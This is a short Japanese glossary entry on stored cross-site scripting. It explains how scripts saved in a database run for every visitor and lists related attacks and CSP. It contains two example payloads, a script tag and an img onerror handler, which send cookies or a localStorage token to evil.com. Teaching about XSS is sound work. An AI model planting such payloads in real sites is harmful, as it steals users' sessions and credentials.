格納型 - 格納型 XSS(Stored XSS)
データベースに保存された悪意あるスクリプトが、他のユーザーがページを閲覧した際に実行される攻撃。影響範囲が広く、最も危険な XSS。
概念図
攻撃シナリオ
掲示板に投稿されたスクリプト(Cookie 窃取)
bash
<!-- 掲示板への投稿内容 -->
<script>fetch("https://evil.com/steal?c="+document.cookie)</script>プロフィール欄を悪用した格納型 XSS
bash
<!-- プロフィール欄に仕込む -->
<img src=x onerror="new Image().src='https://evil.com/?t='+localStorage.getItem('token')">概要
格納型 XSS は、攻撃者が投稿した悪意あるスクリプトがサーバーのデータベースに保存され、他のユーザーがそのページを閲覧するたびに実行される。
掲示板、コメント欄、プロフィール欄など、ユーザー入力がそのまま表示される機能が狙われる。
反射型と異なり、被害者が特定の URL をクリックする必要がなく、ページを閲覧するだけで攻撃が成立するため、影響範囲が非常に広い。
サイトの全ユーザーが被害を受ける可能性がある。
関連トピック
XSS(クロスサイトスクリプティング)- 悪意あるスクリプトを Web ページに注入する攻撃手法。反射型・格納型・DOM Based の 3 種類がある。 反射型 XSS(Reflected XSS)- URL パラメータに含まれたスクリプトがサーバーのレスポンスに反映されて実行される攻撃。フィッシングメール経由で悪用されることが多い。 DOM Based XSS- サーバーを経由せず、クライアントサイドの JavaScript が DOM を不適切に操作することで発生する XSS。innerHTML や document.write が原因。 Content Security Policy (CSP)- ブラウザが読み込めるリソースの種類やオリジンを制限する HTTP ヘッダ。XSS の被害を大幅に軽減できる。 SQL インジェクション- ユーザー入力を通じて不正な SQL 文を実行させる攻撃。データの漏洩・改ざん・削除が可能になる。 